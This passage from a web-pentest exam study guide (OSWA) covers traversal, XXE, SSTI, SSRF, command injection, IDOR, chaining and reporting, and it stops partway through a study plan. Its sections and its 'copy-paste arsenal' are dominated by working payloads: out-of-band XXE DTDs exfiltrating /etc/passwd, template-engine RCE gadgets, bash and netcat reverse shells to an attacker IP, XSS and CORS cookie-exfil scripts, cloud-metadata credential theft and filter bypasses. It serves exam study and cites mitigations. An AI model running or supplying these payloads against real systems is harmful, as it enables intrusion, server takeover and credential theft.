The principle: path traversal reads files outside the web root via ../ sequences — detect by targeting /etc/passwd with increasing depth, bypass filters with URL/double/overlong encoding, nested ....//, backslashes, absolute paths, or null bytes, and loot source/config/credentials/system files. Recognize when it's actually LFI (file inclusion → RCE via log poisoning/wrappers). Mitigation to cite: never use user input in file paths directly — canonicalize and validate against an allow-list, jail to a base directory, and reject traversal sequences after decoding.


19. XML External Entities (XXE)

XXE abuses XML parsers that process external entities, letting you read local files, perform SSRF, exfiltrate data out-of-band, and sometimes cause DoS — anywhere the app parses XML you control. An explicit OSWA topic.

Where XXE applies: any endpoint that parses XML input you control — SOAP/XML APIs, file uploads that are XML under the hood (SVG, DOCX/XLSX, RSS, SAML), XML request bodies, and anywhere switching Content-Type to application/xml makes the server parse your input as XML.

Classic in-band XXE — read a local file:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<stockCheck><productId>&xxe;</productId><storeId>1</storeId></stockCheck>
<!-- the file's contents appear wherever &xxe; is reflected in the response -->

(Inject the DOCTYPE+ENTITY into an existing XML request and reference &xxe; where a value is echoed back.)

XXE → SSRF (reach internal services / cloud metadata — §21):

<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/"> ]>
<foo>&xxe;</foo>

Blind / Out-of-Band XXE (no reflection — exfiltrate via an external DTD to your server):

<!-- sent to the target: -->
<?xml version="1.0"?>
<!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://192.168.1.1/evil.dtd"> %xxe; ]>
<foo>bar</foo>
<!-- evil.dtd hosted on YOUR server (192.168.1.1): reads a file and exfiltrates it to you -->
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://192.168.1.1/?x=%file;'>">
%eval;
%exfil;

(Serve evil.dtd with the §6 server; the exfiltrated file contents arrive in your logs as the ?x= parameter.)

Error-based XXE (leak file contents in an error message, when OOB HTTP is blocked):

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;

XInclude (when you can't control the full DOCTYPE — inject into a value the server wraps in XML):

<foo xmlns:xi="http://www.w3.org/2001/XInclude">
  <xi:include parse="text" href="file:///etc/passwd"/>
</foo>

XXE via file upload (SVG is the classic — upload an SVG with an entity):

<?xml version="1.0"?>
<!DOCTYPE svg [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<svg xmlns="http://www.w3.org/2000/svg"><text>&xxe;</text></svg>

Detecting XXE: if an endpoint accepts XML, add a DOCTYPE with a simple internal entity (<!ENTITY test "hello">) and see if it's expanded in the response; then escalate to SYSTEM file reads and OOB. On JSON endpoints, try changing Content-Type: application/xml and sending XML — some parsers accept both. Use Burp Collaborator for blind/OOB confirmation.

Impact (frame it): local file disclosure (source, config, credentials, /etc/passwd), SSRF (internal services, cloud metadata → cloud creds), out-of-band data exfiltration, and DoS (billion-laughs — don't run on production). Often High/Critical.

The principle: XXE abuses XML parsers that resolve external entities — read local files (file://), pivot to SSRF (http:// to internal/metadata), and exfiltrate out-of-band via a hosted malicious DTD (or leak via error messages). Test anywhere XML is parsed (incl. SVG/Office uploads and by switching Content-Type), use XInclude when you can't control the DOCTYPE, and confirm blind cases with Collaborator. Mitigation to cite: disable external-entity and DOCTYPE processing in the XML parser (the real fix), and prefer non-XML formats.


20. Server-Side Template Injection (SSTI)

SSTI occurs when user input is embedded into a server-side template that the engine then evaluates — letting you inject template syntax that executes on the server, often leading to remote code execution. An explicit OSWA topic.

Where it hides: anywhere user input flows into a template rendered server-side — email/notification templates, customizable pages, names/greetings, error pages, PDF/report generators, and CMS/marketing features. Common engines: Jinja2 (Python/Flask), Twig (PHP), Freemarker/Velocity/Thymeleaf (Java), ERB (Ruby), Handlebars/Pug (Node), Smarty (PHP).

Detection — inject a math expression and see if it evaluates:

${7*7}      {{7*7}}      <%= 7*7 %>      #{7*7}      *{7*7}      {7*7}

If the response shows 49, the template engine evaluated your input → SSTI (vs XSS, where {{7*7}} would appear literally). To identify the engine, send a polyglot and observe which renders / what error appears:

${{<%[%'"}}%\         (breaks and reveals the engine via the error message)
{{7*7}} → 49  (Jinja2/Twig)      ${7*7} → 49  (Freemarker/Velocity)
{{7*'7'}} → 7777777 (Jinja2)  vs  49 (Twig)      — distinguishes Jinja2 from Twig

Exploitation → RCE (per engine — the OSWA payoff):

# Jinja2 (Python) — reach os via the object chain:
{{7*7}}                                                    # confirm
{{ config.__class__.__init__.__globals__['os'].popen('id').read() }}
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}
{{ cycler.__init__.__globals__.os.popen('id').read() }}
{{ request.application.__globals__.__builtins__.__import__('os').popen('id').read() }}
{{ ''.__class__.__mro__[1].__subclasses__() }}             # enumerate classes (find Popen index)
# Twig (PHP):
{{ ['id']|filter('system') }}
{{ _self.env.registerUndefinedFilterCallback("system") }}{{ _self.env.getFilter("id") }}
# Freemarker (Java):
<#assign x="freemarker.template.utility.Execute"?new()>${ x("id") }
# Velocity (Java):
#set($e="e");$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("id")
# ERB (Ruby):
<%= system("id") %>      <%= `id` %>      <%= IO.popen('id').read %>
# Smarty (PHP):
{system('id')}      {php}system('id');{/php}
# Handlebars / Pug (Node) — engine-specific constructor/prototype gadgets.

Tooling: tplmap / SSTImap automate detection and exploitation:

tplmap -u "http://target.com/page?name=John"              # detect & identify engine
tplmap -u "http://target.com/page?name=John" --os-shell   # attempt RCE shell

Testing workflow: find reflected input → inject {{7*7}}/${7*7} and confirm it evaluates (→ 49) → identify the engine (polyglot/error/{{7*'7'}}) → use the engine-specific RCE payload → confirm with id/OOB → weaponize to a shell. SSTI vs XSS: {{7*7}}→49 (server evaluates — SSTI, server-side, often RCE) vs the payload reflected verbatim and executing in the browser (XSS, client-side) — distinguish them.

The principle: SSTI = user input evaluated as template code on the server, confirmed by math-expression evaluation ({{7*7}}/${7*7} → 49), identified by engine-specific polyglots, and exploited to RCE via the engine's object/execution gadgets (Jinja2 os.popen, Twig filters, Freemarker Execute, ERB system, etc.). Automate with tplmap/SSTImap but know the manual payloads. Mitigation to cite: never pass user input into template code — render it as sandboxed data/variables, use logic-less templates, and sandbox/patch the engine. Impact: RCE — Critical.


21. Server-Side Request Forgery (SSRF)

SSRF tricks the server into making HTTP (or other-protocol) requests to a destination the attacker chooses — reaching internal services, cloud metadata, and otherwise-unreachable systems from the trusted position of the server. An explicit OSWA topic.

Where it hides: any feature where the server fetches a URL you influence — URL preview/unfurl, webhooks, "import from URL," PDF/image generation from a URL, file fetchers, API integrations, and anywhere a parameter contains a URL, hostname, or IP.

Basic SSRF — reach internal resources:

url=http://localhost/admin              # internal-only admin panel
url=http://127.0.0.1:8080/              # internal service on another port
url=http://127.0.0.1:22                 # internal port scan (response/timing differs by open/closed)
url=http://192.168.0.1/                 # internal network hosts (fuzz the last octet)
url=file:///etc/passwd                  # local file read (if file:// scheme allowed)
url=http://169.254.169.254/latest/meta-data/   # cloud metadata (AWS) — see below

Cloud metadata SSRF (high impact — steal cloud credentials):

# AWS (IMDSv1):
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/<role>   → temporary AWS keys
# GCP (requires header  Metadata-Flavor: Google):
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
# Azure (requires header  Metadata: true):
http://169.254.169.254/metadata/instance?api-version=2021-02-01

Stealing cloud instance credentials via SSRF often leads to broader cloud-account compromise — Critical.

Blind SSRF (no response returned) — confirm out-of-band:

url=http://192.168.1.1/     or     url=http://<collab-id>.oast.site/
# if your server / Burp Collaborator receives the request → the fetch happened (SSRF confirmed).
# even blind, SSRF can port-scan internally (via timing) and hit internal state-changing endpoints.

SSRF filter bypasses (defenses try to block localhost/internal — know these):

# alternate localhost/internal representations:
http://127.0.0.1/   http://localhost/   http://0.0.0.0/   http://[::1]/
http://127.1/       http://0/           http://2130706433/            (decimal IP for 127.0.0.1)
http://0x7f000001/  http://0177.0.0.1/                                (hex / octal)
# DNS / allow-list tricks:
http://127.0.0.1.nip.io/      http://localtest.me/                    (resolve to 127.0.0.1)
http://attacker.com@127.0.0.1/     http://127.0.0.1#@allowed.com/     (userinfo / fragment confusion)
http://allowed.com.attacker.com/                                      (suffix trick)
# open-redirect chain: point the fetch at a same-site open redirect that forwards to http://127.0.0.1/admin
# protocol smuggling: gopher://127.0.0.1:6379/_<redis-commands>       (interact with internal TCP services)
# URL encoding: http://%6c%6f%63%61%6c%68%6f%73%74/                   (encoded "localhost")

Testing for SSRF: find a parameter the server fetches → point it at your server/Collaborator (confirm the callback) → then at http://127.0.0.1/, internal IPs/ports, and cloud metadata → bypass filters as needed. Watch responses and timing (internal port scan). Confirm blind cases via OOB.

Chaining SSRF (frame impact — §24): SSRF → cloud metadata → steal keys → cloud access; SSRF → internal admin panel → unauthorized actions; SSRF → internal service with a known RCE; SSRF + gopher → raw bytes to Redis/SMTP/MySQL. High-impact and a prime chaining primitive.

The principle: SSRF makes the server fetch an attacker-chosen URL, reaching internal services, cloud metadata (→ credentials), and the filesystem from a trusted position. Confirm (incl. blind, via OOB), enumerate internal targets and metadata, bypass filters (alternate IP encodings, DNS tricks, userinfo/fragment, open-redirect, gopher), and chain for impact. Mitigation to cite: allow-list outbound destinations, block internal/link-local/metadata ranges, disable unused URL schemes, validate+re-resolve hostnames, and don't return raw fetch responses.


22. Command Injection

Command injection lets you execute arbitrary operating-system commands on the server — one of the highest-impact web vulns (direct RCE). It occurs when user input is passed into a system shell without sanitization. An explicit OSWA topic.

Where it hides: features that invoke OS functionality — ping/traceroute/DNS-lookup tools, network diagnostics, file processing (image/PDF conversion), backup/export, admin utilities, and any parameter whose value plausibly reaches a shell command.

Command separators / injection operators:

;        run after                 ping 127.0.0.1; whoami
&&       run if previous succeeds  ping 127.0.0.1 && whoami
||       run if previous fails     ping 999 || whoami
|        pipe                      ping 127.0.0.1 | whoami
&        background/separator      ping 127.0.0.1 & whoami
`cmd`    command substitution      ping `whoami`.attacker.com
$(cmd)   command substitution      ping $(whoami).attacker.com
%0a      newline (URL-encoded \n)  127.0.0.1%0awhoami

Detecting command injection:

# visible (in-band) — inject and read the command output in the response:
127.0.0.1; whoami         127.0.0.1 && id        | cat /etc/passwd
# quick info-gathering:  whoami ; id ; uname -a ; hostname ; pwd ; ls -la

Blind command injection (no output returned — confirm/exfil out-of-band):

# 1) TIME DELAY (response delayed → command ran):
& ping -c 10 127.0.0.1 &          (Linux, ~10s)      & ping -n 10 127.0.0.1 &   (Windows)
& sleep 10 &
# 2) OUT-OF-BAND (force a DNS/HTTP callback to YOUR server / Collaborator):
& nslookup <collab-id>.oast.site &        & curl http://192.168.1.1/ &
# exfiltrate command output via the subdomain/URL:
& nslookup `whoami`.<collab-id>.oast.site &       | curl http://192.168.1.1/?x=$(whoami)
# 3) OUTPUT REDIRECTION to a web-accessible file, then read it:
& whoami > /var/www/html/out.txt &        (then browse /out.txt)

Weaponizing to a reverse shell (RCE → full control):

# Linux:
; bash -c 'bash -i >& /dev/tcp/192.168.1.1/4444 0>&1'
; rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.1.1 4444 >/tmp/f
; nc -e /bin/bash 192.168.1.1 4444
# listener: nc -lvnp 4444 ; then stabilize: python3 -c 'import pty;pty.spawn("/bin/bash")' → Ctrl+Z → stty raw -echo; fg

Filter bypass (when characters/keywords are blocked):

w`'h'`oami           who$()ami           who${IFS}ami         # $IFS for spaces when spaces filtered
cat</etc/passwd      c''at /e'tc'/pa'ss'wd                    # break keywords with quotes
/???/??t /etc/passwd                                         # wildcards
$(printf '\x77\x68\x6f\x61\x6d\x69')                         # build the command from hex
# encode the whole payload (base64 → decode & exec):  echo d2hvYW1p|base64 -d|sh

The principle: command injection = user input reaching an OS shell, yielding direct RCE. Detect with separators (;, |, &&, $()) and visible output; confirm blind cases via time delay or OOB callbacks (and exfil output via DNS/URL or a written file); then weaponize to a reverse shell. Bypass filters with $IFS, quotes, wildcards, and encoding. Mitigation to cite: never pass user input to the shell — use language APIs/parameterized execution and strict allow-list validation. Impact: full server compromise — Critical.


23. Insecure Direct Object References (IDOR)

IDOR occurs when an application exposes a reference to an internal object (a record ID, filename, user ID) and fails to verify the requester is authorized to access it — so changing the reference accesses other users' data or actions. A broken-access-control flaw and an explicit OSWA topic.

How IDOR works: the app trusts a client-supplied identifier without an ownership/authorization check on the server. Change the identifier → access someone else's object.

# view another user's data by changing the ID:
GET /account?id=1001        →  change to  id=1002        (another user's account)
GET /api/users/1001/profile →  /api/users/1002/profile
GET /invoice?num=5551        →  /invoice?num=5552        (another customer's invoice)
GET /download?file=report_1001.pdf → report_1002.pdf     (file-based IDOR)
# modify/act on another user's object:
POST /account/update   {"user_id":1002, "email":"[email protected]"}   (change another user's email)
DELETE /api/posts/42   (delete a post you don't own)

Finding IDOR (the methodology):

1. IDENTIFY object references in requests: numeric IDs (id, uid, user, account, order, invoice, doc,
   file), UUIDs, usernames, filenames, or any parameter pointing to a specific record/resource.
2. CAPTURE a request for YOUR OWN object (via Burp) → note the reference.
3. CHANGE the reference to another value (another user's ID, an adjacent number, a different filename):
   - sequential IDs: increment/decrement (1001 → 1002, 1000, ...).
   - fuzz a range with Burp Intruder / Wfuzz to enumerate others' objects at scale.
   - UUIDs/non-sequential: find them elsewhere (another endpoint, a listing, a leaked reference).
4. OBSERVE: do you get/modify ANOTHER user's data/action? → IDOR confirmed (no authorization check).
5. Test ALL operations (view/edit/delete) and ALL object types; test with a low-priv account to reach
   high-priv objects (horizontal AND vertical access control).

Fuzzing IDOR at scale (enumerate others' objects):

# Burp Intruder: set the ID as the payload position, numbers payload (e.g., 1-5000), run, sort by
#   response length/status to find valid other-user objects.
# Wfuzz:
wfuzz -c -z range,1000-2000 --hc 404 -b "session=<your-cookie>" "http://target.com/account?id=FUZZ"
# ffuf similar; watch for 200s / differing sizes revealing accessible objects.

Variations & related access-control flaws:

- Horizontal IDOR: access another user's data at the SAME privilege level (user→user).
- Vertical access control / "BFLA": access higher-privilege functions (user→admin endpoints,
   e.g., POST /admin/deleteUser) — test admin/privileged actions as a normal user.
- Parameter/mass-assignment adjacent: change a role/owner field ("role":"admin","user_id":other).
- Predictable/guessable references (sequential IDs, timestamps, weak hashes) make IDOR trivial.
- File/path IDOR: swapping filenames/paths to reach others' files (overlaps with traversal, §18).

Impact (frame it): unauthorized access to other users' data (PII, documents, messages) at scale, unauthorized modification/deletion of others' resources, privilege escalation, and account takeover (e.g., changing another user's email → password reset). Often High, and mass IDOR (enumerable IDs) = a data breach.

The principle: IDOR is missing server-side authorization on an object reference — change the ID/filename/username in a request and you reach other users' data or actions. Find references in requests, swap/enumerate them (increment, fuzz ranges, or source non-sequential ones), and test every operation and object type (horizontal and vertical). Mitigation to cite: enforce server-side authorization on every object access (verify the requester owns/may access the object), use unpredictable references where helpful (but authorization is the real fix — not obscurity), and apply least privilege.


24. Chaining Vulnerabilities

The OSWA's capstone ("Assembling the Pieces") is about combining techniques. Real high-impact findings — and strong exam submissions — come from chaining individually "medium" bugs into "critical" outcomes. Never stop at a single pop; ask "what does this let me reach next?"

Why chaining matters. A vulnerability's severity depends on what it unlocks. An XSS that only pops alert(1) is low impact; an XSS that steals an admin session and takes over the account is critical. Chaining escalates impact hop by hop until you reach a serious outcome (account takeover, data breach, RCE, internal access).

High-impact chains to look for (OSWA-relevant):

XSS → Session Theft → Account Takeover
  Stored XSS on an admin-viewed page → exfiltrate the admin cookie → set it → admin ATO (§10).

XSS → CSRF-via-XSS → Privileged Action / ATO
  Same-origin XSS reads the anti-CSRF token → forces "change email"/"add admin" → account takeover (§10/§12).

CORS misconfig → Authenticated Data Theft → ATO
  Reflective CORS + credentials → attacker page reads the victim's data/tokens → takeover (§13).

SQLi → Credential Dump → Admin Login → Admin-Panel RCE
  SQLi dumps the users table → crack the admin hash → log into /admin → use an admin feature
  (upload/template editor) for RCE (§15/§17).

SQLi → Auth Bypass → Admin Access
  ' OR 1=1-- - logs in as admin directly (§15).

LFI / Directory Traversal → Source/Secret Disclosure → further attack
  Read config.php → DB creds / API keys → authenticate to the DB/API; or LFI → log poisoning → RCE (§18).

SSRF → Cloud Metadata → Cloud Credential Theft
  SSRF → 169.254.169.254/.../security-credentials → steal cloud keys → cloud access (§21).

SSRF → Internal Service → Unauthorized Action / RCE
  SSRF reaches an internal admin panel or a vulnerable internal service → action/RCE (§21).

XXE → SSRF → Cloud Metadata
  XXE SYSTEM entity → http://169.254.169.254/... → cloud credentials (§19/§21).

SSTI → RCE → Server Compromise
  {{...os.popen...}} → command execution → reverse shell (§20/§22).

Command Injection → RCE → Reverse Shell → internal pivot
  separator + reverse shell → full server control (§22).

IDOR (enumerable) → Mass Data Access → Breach; or IDOR change-email → password reset → ATO (§23).

Open Redirect → Token/OAuth theft, or SSRF allow-list bypass (supporting link in chains).

The chaining methodology: after confirming any vulnerability, immediately ask:

- What context/privilege does this give me? (whose session, which origin, what access)
- What can I reach FROM here that I couldn't before? (internal services, other users, filesystem, DB)
- Can its output feed another vuln's input? (SSRF URL → metadata; LFI read → source → new bug; SQLi dump → creds → login)
- Can I become someone more privileged? (session theft, token forging, privilege/role change)
- Can I turn "read" into "write", or "write" into "execute"? (file read → log poison → RCE)

Then build the chain hop by hop, confirming each step, until you reach maximum impact — and present it in the report as a single high-severity finding with the full narrative.

The principle: the OSWA capstone rewards chaining — XSS→ATO, SQLi→creds→admin→RCE, SSRF→cloud takeover, LFI→source→RCE, CORS→data theft, XXE→SSRF→metadata. After every finding, ask what it unlocks and keep escalating. The strongest exam submissions aren't a list of isolated bugs — they're the story of how findings combine into critical business impact.


25. Assembling the Pieces — Full Web Assessment Methodology

The OSWA's final module and the shape of the exam: perform a complete web application assessment, combining everything. This is the end-to-end methodology that ties the whole course together.

The complete assessment workflow:

1. RECON & FINGERPRINT (§4)
   - identify server/framework/language/CMS/technologies (whatweb/nikto/headers/cookies); detect WAF.
   - nmap the host for web (and other) services.

2. MAP THE APPLICATION (§4)
   - browse EVERY feature through Burp (log in, exercise all functionality) → full site map.
   - capture every page, endpoint, parameter, form, header, cookie, and API call.

3. DISCOVERY (§5) — find the hidden attack surface
   - directory/file brute force (Gobuster/ffuf/feroxbuster) → admin panels, backups, APIs, .git/.env.
   - PARAMETER discovery (Wfuzz/Arjun/Param Miner) → hidden injectable params.
   - crawl + JavaScript review (Hakrawler, read JS/comments) → endpoints, params, secrets.
   - read robots.txt / sitemap.xml.

4. ANALYZE INPUTS → TEST EACH AGAINST ITS VULN CLASS (the matrix, §4)
   For every input (param/header/cookie/body/path/file), determine where it flows and test:
     reflected? → XSS (§7-11)        in a query? → SQLi (§14-17)       in a command? → CmdInj (§22)
     a URL fetched? → SSRF (§21)     a file path? → Traversal/LFI (§18) parsed as XML? → XXE (§19)
     a template? → SSTI (§20)        an object ref? → IDOR (§23)       state-change? → CSRF (§12)
     cross-origin read? → CORS (§13)
   Also test auth/session, access control (horizontal & vertical), and business logic.

5. EXPLOIT (§7-23)
   - confirm and weaponize each finding with reliable proof (reflected/executed marker, extracted data,
     OOB callback, command output); use offensive JS (§6) to demonstrate impact.

6. CHAIN & ESCALATE (§24)
   - combine findings for maximum impact (XSS→ATO, SQLi→RCE, SSRF→cloud, LFI→source→RCE).

7. DOCUMENT (§26)
   - capture requests/responses, payloads, impact, and reproduction steps AS YOU GO for the report.

Worked end-to-end example (illustrative — authorized lab):

1. whatweb → PHP/Apache; nikto → no WAF. gobuster → finds /admin (403) and an unlinked /api/.
2. Map the app via Burp; find a product page /item.php?id=1 and a feedback form.
3. Discovery: Arjun on /item.php reveals a hidden 'debug' param; Hakrawler + JS review reveal
   /api/user?id= (an API endpoint not in the UI).
4. Test inputs:
   - /item.php?id=1 → inject ' → SQL error → SQLi. UNION → dump users table → admin hash.
   - feedback 'message' → stored, rendered on an admin review page → STORED XSS (blind-tested with a
     callback payload → fires in the admin panel → blind XSS confirmed, admin context).
   - /api/user?id=1001 → change to 1002 → another user's data → IDOR.
5. Exploit & chain:
   - crack the admin hash (from SQLi) → but also the stored XSS gives the admin cookie directly →
     either path → ADMIN ACCESS.
   - from the admin panel, a template/upload feature → RCE (chain).
6. Report: SQLi (High→data breach), Stored/Blind XSS→Admin ATO (Critical), IDOR (High), chained to
   full compromise — each with PoC, impact, reproduction, and mitigation.

The integration mindset (what the capstone/exam tests): the vuln classes aren't tested in isolation — you assess a whole application: fingerprint it, map and discover its full surface, systematically test every input against the right classes, exploit with real impact (offensive JS), chain findings, and document professionally. Thoroughness (especially discovery) + correct per-context exploitation + chaining + a clean report = a passing OSWA assessment.

The principle: a complete web assessment is recon → map → discover → test every input against its vuln class → exploit → chain → document. Be exhaustive in discovery (where findings hide), precise in per-context exploitation, aggressive in chaining (for impact), and disciplined in documentation. Practice this end-to-end flow on PortSwigger/DVWA/Juice Shop until it's automatic — it is the OSWA exam.


26. Reporting for the OSWA

The OSWA requires a professional penetration-test report — exploitation alone isn't enough; you must document findings so they're reproducible and actionable. The report is graded; a working exploit documented poorly can fail the task.

Report structure:

1. Executive Summary      — business-level overview: overall risk, key findings, impact (plain language).
2. Scope & Methodology    — what was tested (URLs/app), timeframe, approach, tools, standards (OWASP WSTG).
3. Findings               — one entry PER vulnerability (or chain), each with:
      • Title             — clear & specific ("Stored XSS in feedback form → admin account takeover")
      • Severity          — Critical/High/Medium/Low (impact × likelihood; CVSS + justification)
      • Affected endpoint/parameter
      • Description       — what the vulnerability is and WHY it exists
      • Proof of Concept  — the exact request(s)/payload(s) + response/screenshots (REPRODUCIBLE)
      • Steps to Reproduce— precise, repeatable
      • Impact            — concrete consequence (data breach, ATO, RCE, unauthorized access)
      • Remediation       — specific, actionable fix
      • References        — OWASP/CWE
4. Attack Narrative       — the story of how findings CHAIN into high impact (the capstone value-add).
5. Remediation Summary    — prioritized list of fixes.
6. Appendices             — full payloads, tool output, extra evidence.

Reporting principles:

  • Evidence for everything — every finding needs a reproducible PoC: the exact request/payload, the response/screenshot, and step-by-step reproduction. "I found SQLi" is worthless without proof.

  • Impact, not just presence — don't write "XSS present"; write "Stored XSS on the admin review page allows theft of admin sessions → full account takeover and control of all user data."

  • Accurate severity — base it on real impact and likelihood; justify it; don't inflate or downplay.

  • Actionable remediation — give the specific fix (parameterized queries; context-aware output encoding + CSP; disable XML external entities; server-side authorization checks), not "sanitize input."

  • Reproducibility — enough detail (exact URL, parameter, payload, steps) that the grader/developer can reproduce it.

  • Tell the chain — the attack narrative showing how findings combine into critical impact is what distinguishes a strong OSWA report.

  • Document as you exploit — capture everything in the moment; you can't re-exploit after the clock stops.

Standard severity guide:

CRITICAL  RCE (SSTI/command-injection/SQLi-to-shell), SQLi with data breach, auth bypass to admin,
          stored XSS → admin ATO, SSRF → cloud takeover, full chains to compromise.
HIGH      significant data exposure, mass IDOR, XXE file read, LFI, reflected/stored XSS (impactful),
          SSRF to internal, CORS data theft.
MEDIUM    reflected XSS (limited), CSRF on sensitive actions, info disclosure, directory traversal (read).
LOW       verbose errors, minor misconfig, missing security headers.

The principle: the OSWA is report-based — document every finding with a reproducible PoC, concrete impact, accurate severity, and actionable remediation, plus an attack narrative showing how findings chain into critical impact. Capture evidence as you exploit. The report is where your technical work becomes a credible, actionable deliverable — and it's graded, so treat it as a core skill, not an afterthought.


27. Payload & Command Arsenal (consolidated)

A curated, copy-paste reference for the exam (modify 192.168.1.1 to your attacker host). Full lists live in PayloadsAllTheThings and the PortSwigger cheat sheets — bookmark those.

Discovery:

gobuster dir -u http://T -w directory-list-2.3-medium.txt -x php,html,txt,bak,zip -b 403,404 -t 50
ffuf -w wl.txt -u http://T/FUZZ -mc 200,301,302,403 -e .php,.bak,.zip -recursion
wfuzz -c -z file,burp-parameter-names.txt --hh <base> "http://T/page.php?FUZZ=1"   # params
arjun -u http://T/page.php                                                         # params
echo http://T | hakrawler -d 3                                                     # crawl/endpoints
curl -s http://T/app.js | grep -iE 'api|token|key|secret|/[a-z]'                   # endpoints/secrets in JS

XSS (modify host):

<script>alert(document.domain)</script>     "><script>alert(1)</script>     <svg onload=alert(1)>
<img src=x onerror=alert(1)>     " autofocus onfocus=alert(1) x="     '-alert(1)-'     javascript:alert(1)
# loader:            "><script src=http://192.168.1.1></script>
# base64 loader:     "><img src=x id=<base64> onerror=eval(atob(this.id))>
# cookie exfil:      <script>new Image().src="http://192.168.1.1/c?="+document.cookie</script>
# read+exfil same-origin: <script>fetch('/api/key',{credentials:'include'}).then(r=>r.text()).then(d=>new Image().src='http://192.168.1.1/x?d='+btoa(d))</script>
# page replace:      <img src=x onerror="window.location.replace('http://192.168.1.1/p.html')">
# bypass:  <ScRiPt>..</ScRiPt>  <scr<script>ipt>..  <svg onload=alert`1`>  <svg onload=eval(atob('...'))>

CSRF (JS fetch):

fetch("https://T/api/newuser",{method:'POST',mode:'no-cors',credentials:'include',
 headers:{'Content-Type':'application/x-www-form-urlencoded'},body:"username=MyUser"});

CORS test & exploit:

curl -s -I https://T/api/account -H "Origin: https://evil.com" | grep -i access-control
# exploit: fetch('https://T/api/account',{credentials:'include'}).then(r=>r.text()).then(d=>fetch('http://192.168.1.1/?d='+btoa(d),{mode:'no-cors'}))

SQLi:

' | " | '-- - | ' OR 1=1-- - | admin'-- -                          # detect / auth bypass
' ORDER BY N-- -   ' UNION SELECT NULL,NULL-- -   ' UNION SELECT user(),@@version-- -
' UNION SELECT table_name,NULL FROM information_schema.tables WHERE table_schema=database()-- -
' UNION SELECT group_concat(username,0x3a,password),NULL FROM users-- -
' AND SLEEP(5)-- -  (MySQL) | '; WAITFOR DELAY '0:0:5'-- - (MSSQL) | ' AND pg_sleep(5)-- - (PG)
' AND extractvalue(1,concat(0x7e,(SELECT @@version)))-- -           # error-based
sqlmap -r req.txt -p id --batch --dbs ; sqlmap -r req.txt -D db -T users --dump --tamper=space2comment

Traversal / LFI:

?file=../../../../etc/passwd        ..%2f..%2f..%2fetc%2fpasswd        ....//....//etc/passwd
?page=php://filter/convert.base64-encode/resource=config.php        (read source)

XXE:

<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><foo>&xxe;</foo>
<!DOCTYPE foo [<!ENTITY % x SYSTEM "http://192.168.1.1/evil.dtd">%x;]>   (OOB)

SSTI:

{{7*7}}  ${7*7}  <%= 7*7 %>  #{7*7}       # detect
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}        (Jinja2)
<#assign x="freemarker.template.utility.Execute"?new()>${x("id")}         (Freemarker)
<%= system("id") %>   {system('id')}                                       (ERB / Smarty)

SSRF:

url=http://127.0.0.1/admin   http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://2130706433/   http://127.0.0.1@evil / http://localhost#@allowed   http://<collab>/   (blind)

Command Injection:

; whoami | id && id `whoami` $(id) %0awhoami      & ping -c10 127.0.0.1 &   & nslookup $(whoami).<collab> &
; bash -c 'bash -i >& /dev/tcp/192.168.1.1/4444 0>&1'      # reverse shell (nc -lvnp 4444)

IDOR:

GET /account?id=1001 → 1002 ...   | fuzz:  wfuzz -z range,1000-2000 -b "session=<c>" "http://T/account?id=FUZZ"

Servers / catchers:

python3 -m http.server 80          # host payloads / catch exfil
python3 cors_server.py             # §6 CORS server (host secondary payloads + cross-origin exfil)
nc -lvnp 4444                      # reverse shell / exfil listener
# Burp Collaborator / interactsh — OOB confirmation for blind XSS/SSRF/XXE/SQLi/cmd-injection
echo -n '<js>' | base64            # encode payloads   ;   base64 -d   # decode

28. Exam-Day Strategy & Study Plan

Exam approach:

  • Enumerate exhaustively first. Fingerprint, map every feature, and — critically — discover hidden directories, files, and parameters (§5). The finding you need is often unlinked. Many OSWA points come from discovery.

  • Test every input against its vuln class (the matrix, §4). Be systematic — don't just test the obvious parameter.

  • Master XSS, SQLi, and offensive JavaScript — the heart of the exam. Be fluent in all XSS types/contexts/bypasses, the full SQLi spectrum, and writing JS payloads (session theft, exfil, CSRF-via-XSS).

  • Set up Burp manually (proxy + CA) and drive Repeater/Intruder/Decoder/Collaborator fluently.

  • Confirm blind cases out-of-band (blind XSS/SSRF/XXE/SQLi/cmd-injection) with Collaborator or your own server.

  • Chain for impact — don't stop at alert(1) or a single read; escalate to ATO/RCE/data breach (§24).

  • Bypass filters/WAFs — have encoding/obfuscation ready for XSS and SQLi (§9/§17).

  • Document as you exploit — screenshot requests/responses and record payloads in the moment; the report is graded and you can't re-exploit after time's up (§26).

  • Verify each finding with a reliable proof before reporting it.

  • Manage time — balance discovery, exploitation, and report writing; don't rabbit-hole on one target while others go untested.

Study plan (~6–10 weeks, hands-on throughout):

Weeks 1–2  Fundamentals & tooling: HTTP, SOP, encoding (§2); Burp mastery, Nmap/Gobuster/Wfuzz/Hakrawler
           (§3); methodology & the testing matrix (§4); file/dir/PARAMETER discovery (§5).
Weeks 2–3  Offensive JavaScript (§6) — write exfil/session-theft/CSRF-via-XSS/loader payloads; stand up
           your payload/CORS server.
Weeks 3–4  XSS deep: reflected/stored/DOM/blind (§7-11); contexts, discovery, filter bypass, weaponization.
           Do every PortSwigger XSS lab.
Weeks 4–5  SQLi deep: fundamentals/in-band/UNION (§15), blind/error/OOB (§16), fuzzing & sqlmap & bypass
           (§17); database enumeration (§14). Do every PortSwigger SQLi lab.
Weeks 5–6  CSRF (§12), CORS (§13) — and offensive-JS exploitation of each.
Week  6–7  Server-side: traversal/LFI (§18), XXE (§19), SSTI (§20), SSRF (§21), command injection (§22),
